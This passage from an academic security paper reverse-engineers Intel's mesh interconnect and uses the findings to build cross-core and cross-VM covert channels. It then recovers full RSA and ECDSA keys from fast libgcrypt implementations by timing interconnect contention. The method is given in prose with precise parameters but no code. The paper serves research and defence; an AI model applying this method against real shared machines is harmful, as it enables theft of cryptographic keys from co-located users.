form cache accesses to LLC slice (x1,y1). For conciseness, we
use the following format to describe the above configuration:

Core(x0,y0)↔ Slice(x1,y1)

The bidirectional arrow represents the multiple traffic flows
in both directions, which we explain in Section 6.

4 Threat Model

Like prior work, we assume that the victim and the attacker
are co-located on the same machine and run on the same

processor. They belong to different security domains, do not
share memory [89, 108], and can run on different processes
or virtual machines. We assume a restrictive scenario where
the system has adopted effective defense mechanisms against
known on-chip side-channel attacks. For example, the system
may disallow software from different security domains from
concurrently running on the same core [7, 16, 63] and adopt
LLC partitioning to prevent cross-core cache attacks [12, 60,
85].1 Assuming the presence of such mechanisms allows us
to study the microarchitectural attack surface beyond known
on-chip side-channel attacks. Indeed, the goal is to highlight
that even if known on-chip side channels are mitigated, we
are still vulnerable to interconnect side-channel attacks.

In the cross-process setup, we consider an attacker who is
able to choose its placement (which core to execute on) using
the set-affinity command. When targeting cryptographic
implementations, we also make the standard assumption that
the attacker knows the code of the victim as most crypto-
graphic libraries are open source. Finally, we assume that
the attacker can observe multiple victim executions to leak
multiple bits of the key and increase the efficacy of the attack.

5 Designing Receivers and Transmitters

In this section, we describe the design of the receiver and the
transmitter that we use to reverse engineer the mesh intercon-
nect (Section 6) and mount our attacks (Sections 7 and 8).

5.1 Designing the Receiver

The goal of the receiver is to detect contention on the mesh
interconnect. Since interconnect contention can be small (a
few cycles per load), it is important for the receiver to make
accurate and reliable measurements.

Baseline Receiver The receiver monitors the interconnect
by pinning itself to a given core and accessing addresses that
map to a given LLC slice. These accesses will travel through
the mesh interconnect and may be delayed by interconnect
contention from other applications. The receiver can then time
these accesses to determine whether contention happened.

To generate reliable accesses to a given LLC slice, the re-
ceiver’s accesses need to miss in the L2 and hit in the LLC
while avoiding L2 hits and DRAM accesses. To this end,
we use two sets of addresses called a monitoring set and
an eviction set (EV). The monitoring set monitors traffic be-
tween a remote LLC slice and the receiver’s core, and the
EV evicts the monitoring set from the L2 cache to the LLC.
The addresses in the monitoring set are mapped to the target
LLC slice and to one or more L2 sets. The addresses in the
EV are mapped to the receiver’s local LLC slice (to avoid

1This is partially possible on today’s processors using Intel CAT, which
allows the creation of way-based partitions [70]. Additionally, mechanisms
that partition cache directories (to block [99]) have been proposed in the
literature [11, 15, 100] and may be deployed in future hardware.
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generating unnecessary interconnect traffic) and to the same
L2 set(s) as the monitoring-set addresses. We can obtain ad-
dresses that map to the desired L2 set and LLC slice using
prior approaches [74, 102], discussed in Appendix A.

The receiver works in three steps:

1. Preparation: The receiver accesses the addresses in the
monitoring set, bringing them into the L2 cache of the
receiver’s core. Since the LLC is non-inclusive, these
addresses may not be present in the LLC.

2. Eviction: The receiver accesses the addresses in the EV
multiple times to evict the addresses in the monitoring set
from the L2 cache of the receiver’s core. Any addresses
in the monitoring set that were not in the LLC will be
written back to the corresponding LLC slice [99].

3. Measurement: The receiver accesses the addresses in
the monitoring set and times the latency of each access
using rdtsc. This latency includes the time for the ac-
cesses to travel through the interconnect. Note that this
step collects multiple latency samples. The number of
samples is determined by the size of the monitoring set.

The last two steps (Eviction and Measurement) can be re-
peated to collect more latency samples.

Tuning the Receiver We tune the following knobs to find
the receiver configuration that gives the most reliable mea-
surements: 1) monitoring set size, 2) EV size, and 3) number
of times we access the EV during the Eviction step.

The monitoring set contains addresses that map to multiple
L2 sets and multiple addresses mapped to each L2 set. We de-
note the number of L2 sets as NL2 and the number of addresses
mapped to each L2 set as WL2. The size of the monitoring set
is NL2×WL2. Using a larger monitoring set allows for more
consecutive latency samples in the Measurement step (step 3
above), leading to a larger consecutive monitoring window.
However, constructing a larger monitoring set takes longer
and also requires constructing NL2 eviction sets.

We adjust NL2 and WL2 to tailor the transmitter and receiver
to different tasks. In the reverse engineering of Section 6, we
set NL2 = 1 to reduce the time spent creating the monitoring
set. We set WL2 = 16. Recall that each LLC slice has 11 ways
but has twice as many sets as the L2 cache. Thus, 22 addresses
per L2 set could ideally fit in an LLC slice. In practice, we
found that 16 addresses per L2 set works more reliably. When
measuring the receiver’s temporal resolution (Section 7) and
executing side-channel attacks (Section 8), we set NL2 = 32 to
have a large consecutive monitoring window. For the covert-
channel (Section 7), we also design a version of the receiver
that has an infinite monitoring window and does not require
eviction-set accesses, at the cost of a lower sampling density.

Finally, we consider the EV size and the number of times to
access the EV. The goal of the EV is to evict all the monitoring
set addresses from the L2 cache to the LLC. Through experi-
mentation, we found that accessing an EV with 16 addresses
per L2 set 4 times can achieve 100% eviction rate.
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Figure 3: Increased access latency of the receiver for different
transmitter configurations.

5.2 Designing the Transmitter

The goal of the transmitter is to reliably generate contention
on the interconnect. To this end, it must satisfy the follow-
ing requirements. First, the transmitter’s traffic should incur
high contention to help distinguish different levels of con-
tention. Second, the traffic should be reliable, introducing low
variance in the receiver’s signal. Third, the transmitter should
generate as few coherence transactions as possible to facilitate
analyzing the traffic patterns.

Baseline Transmitter The baseline transmitter configura-
tion resembles that of the receiver in Section 5.1. The trans-
mitter uses 2 eviction sets: a target EV that maps to a given
target LLC slice and a local EV that maps to the local LLC
slice. The two EVs map to the same L2 sets and can evict
each other from the L2 to their LLC slices. The transmitter al-
ternately accesses the two EVs to generate traffic to the target
LLC slice. The local EV only generates local traffic and does
not use the interconnect, simplifying our reverse-engineering
process. When addresses in each EV are mapped to multiple
L2 sets, the accesses to the different L2 sets are interleaved.

Tuning Transmitter Configurations We adjust the follow-
ing to find the best transmitter configuration: 1) the number of
L2 sets that are mapped to by addresses within each EV, and 2)
the number of addresses that map to each of those L2 sets. To
compare configurations, we use the receiver from Section 5.1
to monitor the transmitter’s traffic and measure the increase
in average latency when the transmitter is on. The receiver
monitors on Core(0,3)↔ Slice(0,2), and the transmitter gen-
erates traffic on Core(0,5)↔ Slice(0,1). This configuration
was found experimentally to exhibit interconnect contention.

Figure 3 shows the receiver’s observation when using dif-
ferent transmitter configurations. A larger latency increase
suggests that the transmitter introduced more contention.

Regarding the number of addresses per L2 set, we see that
when the number of addresses per L2 set is 8 or lower, the
latency difference is zero. Since the L2 associativity is 16,
the transmitter is unable to generate LLC hits when both the
local and target EVs have 8 or fewer addresses. Thus, no
interconnect traffic is generated. When there are between 9
and 22 addresses per L2 set, the latency difference increases,
indicating that the transmitter generates increasing levels of
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contention. Above 22 addresses per L2 set, the difference
decreases as the transmitter experiences LLC misses. The
loads are served from DRAM, slowing down the transmitter.

Regarding the number of L2 sets used by each EV, we
observe that when the transmitter uses two L2 sets instead
of one, the receiver observes higher contention. For example,
when the transmitter uses two L2 sets and 15 addresses per
L2 set, the receiver observes a 2.1-cycle average difference,
which is nearly twice the 1.1-cycle average difference when
using a single L2 set. Further increasing the number of L2
sets to 3 or above had negligible impact.

We also found that the parity of the set indices of the two L2
sets has an impact on the receiver’s observation. Specifically,
when the two sets have both even or both odd set numbers
(same parity), the latency difference saturates when the num-
ber of addresses per L2 set reaches 15. However, when the
parities of the two sets are different, the average latency dif-
ference keeps increasing and can reach as high as 3.28 cycles.

Optimal Transmitter Configuration Considering all the
above factors, we pick the following transmitter configuration
since it generates high contention and shows high reliability.

• The addresses in each EV map to two L2 sets.
• The two L2 set indices have different parities.
• The number of addresses per L2 set is 20.

6 Reverse Engineering the Mesh Interconnect

In this section, we use the transmitter and the receiver from
Section 5 to reverse engineer the characteristics of Intel’s
mesh interconnect. In particular, we determine the precise
conditions necessary for contention to occur. For both the
covert channel (Section 7) and the side-channel attack (Sec-
tion 8), these findings inform the optimal receiver placement
to leak data with a low error rate and high bandwidth.

Overview Intel’s mesh interconnect is implemented as a
2-dimensional array of ring interconnects [62, 96]. Traffic
on this array follows a Y-X routing policy, meaning that it
always travels vertically first and then horizontally [68, 96].
When changing direction, the traffic must jump from a vertical
ring to a horizontal ring. Each ring is made of 4 functionally-
separate rings: 1) a request ring, also known as address ring,
2) a data ring, also known as block ring, 3) an acknowledge
ring, and 4) an invalidate ring, also known as snoop ring [47].

Intuitively, contention on the mesh interconnect happens
when two memory accesses use the same physical ring, in the
same direction, and on overlapping segments. However, this
is not sufficient to guarantee observable contention. Determin-
ing the precise necessary conditions requires answering the
following three questions. First, what traffic flows and rings
are used by different memory transactions? Second, what
is the scheduling policy that allocates these traffic flows to
physical lanes? Prior work [74] found that Intel’s ring inter-
connects use a multi-lane organization, but the policy on our
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Figure 4: Lane scheduling policy for Core→Slice traffic on
horizontal rings and vertical rings. Black and white squares
indicate different lanes. For each pair of source and destina-
tion tiles, the Slice→Core traffic uses the opposite lane.

processor is different from that of a 1-dimensional ring inter-
connect. Finally, what is the arbitration policy that determines
the priority between multiple in-flight traffic flows?

In this section, we answer all three questions. Note that all
the reverse engineering experiments in this section are carried
out with hardware prefetchers disabled [45]. The prefetchers
are enabled to model a realistic setup when we perform the
covert channel and side-channel attacks.

6.1 Traffic Flows

We first figure out which rings are used by different traffic
flows using Intel performance counters (or PMON counters).

We run the transmitter (from Section 5.2) and configure the
PMON counters to measure the number of cycles that each
ring is used for at each ring stop.2 These numbers reveal the
precise rings and segments of the mesh interconnect that are
used by the transmitter.

On running the transmitter, we observed traffic flows from
the core to the LLC slice on the request ring and the data ring.
Traffic was also observed going from the LLC slice to the
core on the data ring and the acknowledge ring. According to
our analysis, the data traffic flow from core to slice is due to
writeback data. On a non-inclusive cache, when an L2 line is
replaced, the data needs to be written back to the LLC [99].

6.2 Lane Scheduling Policy

Prior work discovered that each of the request, data, and ac-
knowledge rings features two physical “lanes” [74]. Intel’s
Uncore PMON guide for our processor [47] confirms the ex-
istence of such lanes and refers to them as “odd/even rings”.
The guide also describes PMON counter unit masks that can
monitor traffic on the two lanes of each ring separately which
we use to reverse engineer the lane scheduling policy. Specifi-
cally, we run our transmitter and use the PMON counters to
identify the lanes used by various transmitter placements.

2This is done using the “In Use RING Events”. For example, the horizon-
tal acknowledge ring can be monitored with HORZ_RING_AK_IN_USE [47].
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We find that the lane scheduling policy is a static policy
that is determined by the source and/or the destination of a
given traffic flow. The scheduling policy on the horizontal
rings and the vertical rings are independent from each other.

Traffic From a Core to an LLC Slice Figure 4 summarizes
the scheduling policy, where black and white indicate differ-
ent lanes. Figure 4(a) shows the lane scheduling policy for
horizontal rings. Each row is a column index for the source
core and each column is a column index for the destination
slice. The horizontal lane policy is destination-based. If the
destination slice of a traffic flow is on column 0, 2, or 4, the
white lane is used. Otherwise, the black lane is used.

Figure 4(b) shows the lane scheduling policy for vertical
rings. The vertical lane policy is source-based except for 4
special cases. If the source core is on row 0, 2, or 4, the black
lane is used; otherwise, the white lane is used. The 4 special
cases are Core(0,∗)→Slice(1,∗), Core(2,∗)→Slice(1,∗),
Core(2,∗)→Slice(3,∗), Core(4,∗)→Slice(3,∗). Since the
mesh interconnect of our processor has an odd number of
rows (5 rows), we believe these 4 special cases were intro-
duced by hardware designers to distribute the traffic served
by each link more evenly between the two lanes.

We verified that all horizontal rings use the same lane
scheduling policy, including the ones with disabled tiles and
the one with IMC tiles. The same applies to the vertical rings.

Traffic From an LLC Slice to a Core For each pair of
source and destination tiles in Figure 4, the traffic from a slice
to a core uses the opposite lane of the traffic from a core to
a slice. For example, Figure 4(a) indicates that traffic from
Core(∗,0)→Slice(∗,1) uses the black lane. This means that
traffic from Slice(∗,0)→Core(∗,1) uses the white lane.

6.3 Priority Arbitration Policy

The last missing piece required to fully understand the con-
ditions for observable contention to occur on the mesh in-
terconnect is the priority arbitration policy. The priority of
different traffic flows is important because a flow with high
priority cannot be delayed by a flow with low priority, leading
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Figure 6: Observed increased access latency by the receiver
when (a) the receiver monitors Core(0,2)↔ Slice(0,3) and
(b) the receiver monitors Core(0,0)↔ Slice(0,5).

to unobservable contention. To reverse engineer the priority
arbitration policy, we use the transmitter and receiver from
Section 5 and place them on different cores and slices.

To compare the priority of two traffic flows, we pick a trans-
mitter placement (“A”), and a receiver placement (“B”) such
that the receiver can observe contention from the transmitter.
To simplify our analysis, A and B are selected such that the
transmitter and the receiver contend on exactly one ring. We
then swap the placements. If the contention is still observable,
then the traffic flows for A and B have the same priority. If
the receiver can no longer observe contention, then the traffic
flow for A has a higher priority than the flow for B.

Figure 5 shows the results, where we rank the priority of
different traffic flows (with 1 being the highest priority).
When using the horizontal rings (Figure 5(a)), traffic already
on the ring has the highest priority; traffic from the local core
and slice takes second priority; traffic from the vertical rings
has the lowest priority. Figure 5(b) shows the priority on the
vertical rings. Once again, traffic already on the ring has a
higher priority than the traffic injected from the local core or
slice. Due to the Y-X routing policy, there is no traffic flow
that switches from a horizontal ring to a vertical ring.

6.4 Case Studies of Timing Measurement

We performed a comprehensive timing analysis of the lane
scheduling policy and the priority arbitration policy by run-
ning the transmitter and the receiver (Section 5) on all possible
combinations of cores and slices. In this section, we show two
case studies of the horizontal ring on Row 0 and demonstrate
that the reverse-engineering results play an important role in
designing effective covert channel and side-channel attacks.

A Case Study for the Lane Scheduling Policy In the case
study shown in Figure 6(a), the receiver monitors Core(0,2)
↔ Slice(0,3). The transmitter placement is varied by trying
all pairs of cores and slices. Each row indicates the transmit-
ter’s core, and each column indicates the transmitter’s LLC
slice. The row for Core(0,2) is empty since we do not pin the
transmitter and receiver to the same core, which would cause
contention on pipeline and private cache structures.
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First, we observe high contention (5-10 extra cycles per
load) on the Slice(0,3) column and the Core(0,3) row. In the
column for Slice(0,3), the transmitter’s target EV shares a
slice with the receiver’s monitoring set, and in the row for
Core(0,3), the transmitter’s local EV shares a slice with the
receiver’s monitoring set. In both cases, the high contention
is caused by LLC slice port contention.3

Second, there are 5 transmitter placements that cause in-
terconnect contention with the receiver’s traffic, resulting in
delays of 1-5 cycles per load. The transmitter’s and receiver’s
traffic contend only if they use the same lane and ring on
overlapping segments and travel in the same direction. For
example, when the transmitter uses Core(0,1)↔ Slice(0,4),
its traffic overlaps with the receiver’s traffic on the east-to-
west direction of the request ring and on the west-to-east
direction of the data and acknowledge rings. However, Fig-
ure 4 shows that the receiver uses the black lane of the request,
data, and acknowledge rings, while the transmitter uses the
white lane of the same rings, so no contention is observed.

The case study also shows that our receiver is able to ob-
serve different levels of contention. Contention on multiple
rings can lead to a larger delay. For example, when the trans-
mitter uses Core(0,0) ↔ Slice(0,5) (the top right cell in
Figure 6(a)), the transmitter and the receiver contend on three
rings—the request, data, and acknowledge rings. We see a
delay of 1-2 extra cycles compared to the other transmitter
placement where contention only happens on 1 or 2 rings.

A Case Study for the Priority Arbitration Policy We
show another case study where the receiver monitors
Core(0,0)↔ Slice(0,5). We vary the transmitter placement
in the same way as in the previous case study. Similarly, we
observe high contention when the transmitter uses Core (0,5)
and when the transmitter uses Slice (0,5) from slice port
contention. However, we do not observe any interconnect con-
tention despite the receiver monitoring all segments on Row
0 since the traffic injected by the receiver from Tile (0,0) and
Tile (0,5) has priority over the traffic injected by the transmit-
ter from the other tiles (Figure 5). Therefore, the receiver’s
traffic is never delayed due to interconnect contention.

7 Interconnect Covert Channel Attacks

In this section, we use the results from Section 6 to build a
cross-core covert channel on the mesh interconnect.

Our attack builds on the receiver and transmitter from Sec-
tion 5. The transmitter generates traffic to send a bit “1” and
remains idle to send a bit “0”. We use the version of our re-
ceiver optimized for continuous monitoring at the cost of a
lower sampling density. In particular, we keep NL2 = 1 but set
WL2 = 24 for the monitoring set. Because 24 exceeds the L2
associativity, accessing new monitoring set addresses evicts

3We make the transmitter and the receiver access different LLC sets to
ensure that we do not introduce any cache line conflicts and LLC misses.
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Figure 7: Trace collected by the receiver when the transmit-
ter sends alternating 0s and 1s, with the receiver placement
Core(3,1)↔ Slice(2,1) and sender placement Core(4,1)↔
Slice(1,1), using a transmission interval of 3000 cycles.
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Figure 8: Covert channel capacity and error probability with
decreasing interval size (mean across 5 runs).

previously-accessed addresses from the L2 into the LLC. This
removes the need to access a separate eviction set, allowing
for more evenly-spaced measurements. In practice, this self-
eviction method results in some private cache hits, so we
measure four concurrent loads. The measured latency is the
maximum latency of any of the four loads which significantly
increases the probability of measuring an LLC hit.

Figure 7 shows an example trace when placing the transmit-
ter on Core(4,1)↔ Slice(1,1) and the receiver on Core(3,1)
↔ Slice(2,1), and the transmitter sends an alternating se-
quence of 1s and 0s with an interval of 3000 cycles. Every
other interval contains high latency measurements caused by
the transmitter’s traffic delaying the receiver’s measurements
and should be decoded as bit “1”. The intervals with low
latency measurements should be decoded as bit “0”.

In this setup, the transmitter and the receiver run on differ-
ent cores and load from different slices. Hence, they do not
share any cache structures (sets, directories, or slice ports).
This implies that our covert channel works due to contention
on the mesh interconnect only.

Covert Channel Capacity To evaluate the performance of
our covert channel, we compute the channel capacity metric,
which accounts for both the raw bandwidth and the error
probability [71, 74, 77]. Specifically, we vary the interval
size and track the error probability over a transmission of
100,000 random bits. We perform each experiment 5 times
and show the results in Figure 8. We achieve a maximum
average channel capacity of 1.53 Mbps (σ = 0.04) with an
interval size of 488 cycles. This capacity is in the same order
of magnitude as prior interconnect covert channels [74].

Cross-VM Setup We also build a proof-of-concept where
the transmitter and the receiver run on separate virtual ma-
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Figure 9: Temporal resolution trace with the transmitter using
16 accesses. For clarity, this plot is averaged across 300 traces.

chines (VMs). We spawn two VMs using QEMU/KVM and
pin the transmitter VM to Core (4,1) and the receiver VM to
Core (3,1). We use the algorithm described by Yan et al. [99]
to construct monitoring and eviction sets and rely on timing
measurements to determine the mapping of sets to LLC slices.
The receiver targets slices near (2,1) while the transmitter
targets slices near (1,1). We mounted the attack successfully
with an interval of 1000 cycles and observed a 12.5% aver-
age error rate across 4 runs. This corresponds to an average
channel capacity of 1.00 Mbps (σ = 0.04), confirming the
feasibility of interconnect cross-VM covert channels.

Running the attack in a real cloud environment also re-
quires two additional steps: 1) the transmitter and receiver
need to infer the mesh topology and the ID of the physical
core where they are running; and 2) the transmitter and the
receiver need to perform an agreement phase where they syn-
chronize with each other. We discuss how to perform the first
step in Appendix B. For the second step, our VM configura-
tion allowed for synchronization via the wall clock, but on
machines where this is not possible, existing synchronization
protocols based on preambles may be used (e.g., [66]).

Temporal Resolution We now measure the temporal resolu-
tion of the interconnect channel by configuring the transmitter
to spin for 10,000 cycles, issue k LLC loads, and then spin
again for 10,000 cycles. We then plot the latency samples
collected by the receiver during this time. We use NL2 = 32
and WL2 = 16 as our receiver configuration to give us a long
enough monitoring window without EV accesses. If we see a
spike in the plot for a given k (e.g., Figure 9), then we say that
the temporal resolution of the mesh interconnect side channel
is at least k loads. The lower k is, the more fine-grained the
resolution is. We find that using the same placements of the
covert channels above, we reliably observe a contention peak
when k ≥ 7. This resolution is coarser grained than that of
traditional cache attacks, which can detect single memory
accesses. However, as we will show in Section 8, it is still
fine-grained enough to detect secret-dependent LLC loads
performed by vulnerable ECDSA/RSA implementations.

8 Interconnect Side-Channel Attacks

We now demonstrate that interconnect side-channel attacks
can be used to leak keys from vulnerable cryptographic imple-
mentations. We start by describing the basic idea and setup of

Algorithm 1: Secret-dependent victim behavior.
1 for bit b in secret key do
2 Func1();
3 if b == 1 then
4 Func2();

Table 1: Execution time (in cycles) of Func1 and Func2 in
the fast implementations of ECDSA and RSA.

Func1 Func1 Func2
(miss in L2) (hit in L2) (miss in L2)

ECDSA 17,000 – 18,000 9,050 15,000 – 16,000
RSA 4,000 – 4,100 3,500 3,900 – 4,000

the attack, followed by examples of attacking fast implemen-
tations of ECDSA and RSA. We find that the placements of
the victim and the attacker play a critical role in the efficacy of
the attack. We then design an analytical model to thoroughly
analyze all the placements in Section 8.5.

8.1 Victim Setup

Our attack targets fast (insecure) implementations of two cryp-
tographic victims, ECDSA and RSA. These implementations
use the code pattern shown in Algorithm 1, which has been
targeted in several prior works on microarchitectural side-
channel attacks [9, 33, 34, 61, 74–76, 99, 101, 105].

The code iterates over every bit in the secret key and calls
two functions based on the secret bit. If the secret bit is 0, only
Func1 executes; otherwise, both Func1 and Func2 execute.
Therefore, an attacker can infer the secret bit used in each
iteration by monitoring whether or not Func2 is executed.

We use the victim implementations from the libgcrypt li-
brary [31]. Specifically, we target the fast implementations4

of 1) scalar point multiplication (_gcry_mpi_ec_mul_point)
used in ECDSA during signature generation5 and 2) modular
exponentiation (_gcry_mpi_powm) used in RSA during de-
cryption. We measure the execution time for the 2 functions
in ECDSA and RSA for the cases when the function hits and
misses in the private caches, shown in Table 1. The attacker
can obtain this information by profiling the victim application
offline. This information is useful when we try to align the
latency traces with the victim’s execution during the attack.

8.2 Attacker Setup

The attack works as follows. Given a victim placement, the
attacker first analyzes the victim’s traffic flows, considering

4These fast implementations were used in versions 1.6.3 and 1.5.2, re-
spectively. Newer versions, by default, use secure (slower) implementations.

5The target function is used to multiply the secret nonce with the group
generator. An attacker who learns the nonce can use it to recover the secret
key. Our victim runs code from the pubkey.c test of libgcrypt, which uses
the curve Ed25519 and generates the 256-bit long nonce deterministically.

USENIX Association 31st USENIX Security Symposium    2865



that the victim’s memory accesses are generally uniformly
distributed across all LLC slices due to the slice hash func-
tion’s design. Second, the attacker picks an optimal placement
to maximize the observable contention. This placement can
be found using the analytical model described in Section 8.5.
Next, the attacker triggers the victim to execute and starts col-
lecting latency sample traces. The attacker uses the receiver
configuration that can achieve a large consecutive monitor-
ing window (Section 5.1). Specifically, the attacker uses a
monitoring set with 32 L2 sets (NL2 = 32) and 16 addresses
mapped to each L2 set (WL2 = 16). Thus, the attacker can
collect 512 consecutive latency samples. Since it takes around
105 cycles to collect and save each sample, the 512 consecu-
tive samples cover more than 50,000 cycles, enough for one
iteration of Algorithm 1 in ECDSA and RSA (see Table 1).

Generating Secret-Dependent Interconnect Traffic A
key remaining challenge is how to force the victim to generate
secret-dependent interconnect traffic. The victim’s memory
accesses only use the interconnect if they miss in the private
caches and need to access a remote LLC slice or DRAM. The
code and data accessed in each iteration of Algorithm 1 fit
in our processor’s 1 MB L2 cache. Therefore, without extra
interference with the victim, the interconnect side channel can
only observe the execution of the first iteration of the victim
and leak the first bit of the secret key.

To force the victim to generate interconnect traffic for every
iteration, we use an approach similar to prior work [26, 74].
The approach requires the system to use a specific defense
mechanism against side-channel attacks on private caches that
flushes the private caches upon context switches (as suggested
by prior work [12,25,27–29,32,39,40,73,75,85,88,107]). The
attacker can use this defense mechanism to their advantage.
If the attacker can trigger a context switch on the victim, the
victim’s private cache will be automatically flushed. When
the victim resumes execution, the memory accesses will then
generate interconnect traffic. Several approaches have been
proposed to preempt a victim program from an unprivileged
process by exploiting the Linux scheduler [8, 40, 69, 79].

We remark that the assumption of flushing the private
caches upon context switches limits the applicability of our at-
tack. However, such an assumption is fairly reasonable. Given
that interconnect side-channel attacks are much more difficult
to carry out than cache side-channel attacks, it is not necessary
to exploit the interconnect side channel on an insecure pro-
cessor without any protection of the caches. In the following
experiments, like prior work [1,3,23,24,36,39,73,74,91], we
simulate the preemption and the cache flushing operations by
manually stopping the victim at the beginning of an iteration
and evicting the victim’s core private caches. The eviction is
done by accessing an eviction set with WL2 addresses for each
L2 set (as in [26]). A practical implementation of the attack
on the Linux scheduler is beyond the scope of this work.
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(a) Results for the RSA victim.
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(b) Results for the ECDSA victim.

Figure 10: Example of latency traces with the victim
on Core(0,0) and the attacker monitoring Core(0,2) ↔
Slice(0,3). The light-blue shade is the standard deviation
across traces.

8.3 Demonstrating Example of Leaking a Single Bit

We now present a proof-of-concept demonstration of the at-
tack against ECDSA and RSA. We start with a demonstration
of single-bit leakage in this section, followed by the full-key
recovery demonstration in Section 8.4. We evaluate how dif-
ferent placements affect attack accuracy in Section 8.5.

For the single-bit leakage demonstration, we target the first
bit of the key and thus focus on monitoring the first itera-
tion of the victim loop (Algorithm 1). We run the victim on
Core(0,0) and choose a valid placement for the attacker which
monitors interconnect contention on Core(0,2)↔ Slice(0,3).
According to our reverse engineering results, such a place-
ment allows the attacker to observe a moderate amount of the
victim’s network traffic. A detailed traffic flow analysis of
this placement can be found in Appendix C.

Example Traces For both the ECDSA and RSA victims,
we generate 5000 random keys. In expectation, half of the
traces have their first secret bit=0, and the rest have their first
secret bit=1. For each key, we collect a trace during the first
iteration of the victim loop. That is, each trace corresponds to
the first iteration of a different random key. We then group the
traces by bit and plot the average for both groups in Figure 10.
We additionally plot the standard deviation of each sample
with light-blue shades to show variations across samples.

Figure 10a shows the results when attacking RSA for the
case when the secret bit is 0 and when the bit is 1. The plot
for bit=1 has an extra spike around cycle 40, corresponding to
the contention caused by Func2. Similarly, Figure 10b shows
the results for ECDSA, where we can observe an extra spike
around cycle 140 only when the secret bit is 1. These results
demonstrate that the interconnect side channel can be used to
effectively leak secret key bits from both implementations.

The specific characteristics of the traces of Figure 10 vary
depending on the physical memory pages used by the vic-
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Figure 11: Percentage of the full key recovered using multiple
traces (i.e., votes) per iteration. For RSA and ECDSA, we
recovered the full key using 65 or 140 traces, respectively.

tim, which influence the mapping of the victim’s code and
data to different LLC slices. However, since the slice hash
function is designed to uniformly distribute memory across
all slices, even when the pages changed, we could always
observe distinguishable signals for different secret bits.

We also tested the susceptibility of the attack to noise by
repeating it while running the stress-ng tool in the back-
ground. When running CPU-intensive tasks (--cpu stress
methods), the secret-dependent spikes in interconnect con-
tention were still distinguishable even when 12 of the other
22 cores were active. However, when running tasks designed
to stress the CPU cache (--cache stress methods), the secret-
dependent spikes in interconnect contention became hard to
see when more than 3 cores were active.

Single-Bit Classification Accuracy We use a random for-
est classifier to simplify the inference of the secret bit used in
each latency trace. Our methodology is similar to that of prior
work [26, 74]. We use 75% of the 5000 traces as the training
set and the remaining 25% as the validation set, which we
compute the prediction accuracy for. To account for the dif-
ferent page mappings across runs, we repeat the experiment
10 times and report a range of accuracies.6

For the placement of Figure 10, we obtain an accuracy
of 69%–71% for ECDSA and 71%–73% for RSA. Next, we
show that the attacker can make predictions using multiple
traces to further boost the accuracy and simplify the process
of full-key recovery on both ECDSA and RSA.

8.4 Full Key Recovery

We now show how our attack can be used to recover full cryp-
tographic keys (a 1024-bit long key for the RSA victim and
256-bit long nonce for the ECDSA victim). Instead of focus-
ing on the first bit, we show that our attack can distinguish
traces collected at different iterations (i.e., different bits) and
can account for variations across both iterations and different
keys. For ECDSA and RSA, we generate 800 and 200 ran-
dom keys respectively for training. For each training key, we

6For simplicity, our proof-of-concept attack trains and tests the classifier
on a single machine. However, since we observed similar secret-dependent
spikes in interconnect contention traces also on a different machine, it should
be feasible for an attacker to train a cross-machine classifier too.

collect one trace for each iteration of the loop when using that
key. We end up with over 200,000 traces across ECDSA and
RSA with approximately half of the traces for a secret bit=1
and half for a secret bit=0. We then group these traces by bit,
regardless of which iteration and which key the traces corre-
spond to, and use them to train a random forest classifier that
is able to make a prediction on secret bits for any iteration.

To evaluate the classification accuracy, we generate a new,
random test key for both RSA and ECDSA that is not in
the training set and collect traces for each bit of the test key.
We apply the classifier to the traces and count the correctly
classified bits. Given a single trace per iteration, the classifier
can correctly identify 77% of the bits for RSA and 68% of
the bits for ECDSA. To boost the prediction accuracy, we
collect additional traces per iteration of the testing key and
use majority voting to merge prediction results. Figure 11
shows how the number of correctly predicted bits changes
when we use multiple traces per iteration with majority voting.
As expected, the number of correctly predicted bits increases
rapidly as the number of traces increases. For RSA, 65 traces
per bit were enough to recover 100% of the key. For ECDSA,
140 traces per bit were enough to recover 100% of the key.

8.5 Impact of Attacker and Victim Placements

Due to the lane scheduling policy and the priority arbitration
policy used by the interconnect, different placements of the
attacker and the victim incur different amounts of observable
contention. To study the impact of different placements, we
design an analytical model to rank tiles by the level of vul-
nerability and empirically validate the resulting vulnerability
scores using the single-bit attack from Section 8.3.

The Analytical Model The analytical model computes the
amount of observable interconnect contention for a given
mesh layout, victim placement, and attacker placement. The
victim’s placement contains a core location, and the attacker’s
placement contains a core location and an LLC slice location.
The model assumes an even distribution of the victim’s mem-
ory addresses across all LLC slices, meaning an equal amount
of traffic flows between the victim’s core and each LLC slice.
Next, the model compares each of the victim’s traffic flows
with the attacker’s traffic flow on the corresponding ring. If
both flows share the same direction, lane, and segment, and
the victim’s flow has higher priority, we say that the victim’s
flow causes observable contention. We assign a score of 1 to
contention on the request and acknowledge rings and a score
of 2 to contention on the data ring. This follows from our
reverse engineering which showed that contention on the data
ring generates larger delays than contention on the request
and acknowledge rings (due to each message on the data ring
requiring two packets [47]). We then sum the scores for all the
victim’s traffic flows to quantify the observable contention.

The search tool ranks the vulnerability level for each tile
as follows. For each tile used as the victim’s core, we search
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Figure 12: Heatmap of the vulnerability level for different
tiles. The number inside each tile represents the vulnerability
score output by our analytical model.
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Figure 13: Correlation between standardized analytical model
vulnerability scores and standardized observed attack accura-
cies across all attacker core placements.

for an attacker placement that maximizes the observable con-
tention which is computed using the analytical model. We it-
erate over all the tiles on the chip and rank these tiles based on
their corresponding scores of optimal observable contention.
The tile with the smallest score of optimal observable con-
tention is the least vulnerable. Figure 12 shows our results.

Our results highlight a key insight: the victim, when placed
onto different cores, experiences different levels of vulnerabil-
ity. For example, when placing the victim on the cores in the
first row of the mesh, the vulnerability scores are consistently
high, either 32 or 31, indicating that the attacker is able to
find a placement with high levels of observable contention.
However, if the victim is on Core (2,1) or Core (2,4), the
vulnerability score is 13, meaning that the attacker can only
observe much less contention even when placed optimally.

Model Validation We validate our analytical model by com-
puting the single-bit classification accuracy for the attack on
different placements. We pin the victim process to Core (0,0),
and for every possible attacker core, we use our model to find
the optimal attacker slice and run the attack using this place-
ment. To compare the vulnerability scores to the observed
classification accuracies, we standardize both values by sub-
tracting the mean and dividing by the standard deviation.
Figure 13 shows the strong correlation between the scores
and the attack accuracies, demonstrating that our analytical
model effectively predicts leakage. For example, placing the
attacker on Core (0,2), the predicted best attacker core for a
victim at (0,0), results in an accuracy of 87.4% on the RSA
victim and 75.8% on ECDSA. However, placing the attacker
on Core (2,1), the predicted worst attacker core for a victim
at (0,0), results in an accuracy of 65.4% on the RSA victim
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Figure 14: Effect of reserving cores on vulnerability scores.

and 61.5% on the ECDSA victim, much closer to random
guessing. We include the raw data in Appendix D.

